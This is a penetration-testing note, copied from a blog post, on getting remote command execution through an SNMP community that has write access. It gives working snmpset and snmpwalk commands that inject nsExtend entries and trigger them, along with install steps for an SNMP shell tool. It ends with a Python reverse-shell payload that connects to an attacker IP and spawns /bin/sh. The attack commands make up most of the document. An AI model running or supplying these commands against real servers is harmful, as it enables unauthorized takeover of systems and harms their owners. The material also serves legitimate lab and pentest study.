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# SNMP RCE
This post was copied from [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
SNMP is sometimes overseen by the administrator of the device or server where it is left in a default configuration. SNMP community with write permissions \(**rwcommunity**\) on the Linux operating system can be abused to let the attacker execute a command on the server.
## **Extending the Services**
While you are not able to modify existing entries that were configured in **snmpd.conf**, it is possible to add additional commands over SNMP, because the βMAX-ACCESSβ permission setting in the MIB definition is set to β**read-create**β
Adding a new command basically works by appending an additional row to the β**nsExtendObjects**β table.
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
```
Injecting a command to run on the SNMP service. **NET-SNMP-EXTEND-MIB** requires that you always provide the absolute path to the executable. The called binary/script must also exist and be executable.
Executing the command that we injected to the SNMP by enumerating it using snmpwalk
```bash
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
```
Showing that the command is /bin/echo.
The command will be executed when the it is read. **run-on-read\(\)**
The command **/bin/echo "hello rio is here"** was executed during our snmpwalk read
## **Getting the Shell** **from Net-SNMP Extend**
In this section, I would like to discuss how to gain a server shell to control the server.
You can use python script developed by **mxrch** that can be downloaded from [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git)
You can install the pre-requisite to run this:
```bash
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
```
**Creating reverse shell**
You can also create reverse shell manually by injecting the command below into the SNMP
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
```
run the snmpwalk to trigger the command execution
Our netcat receives the reverseshell connection from the victim that allow us to gain control over the victim machine
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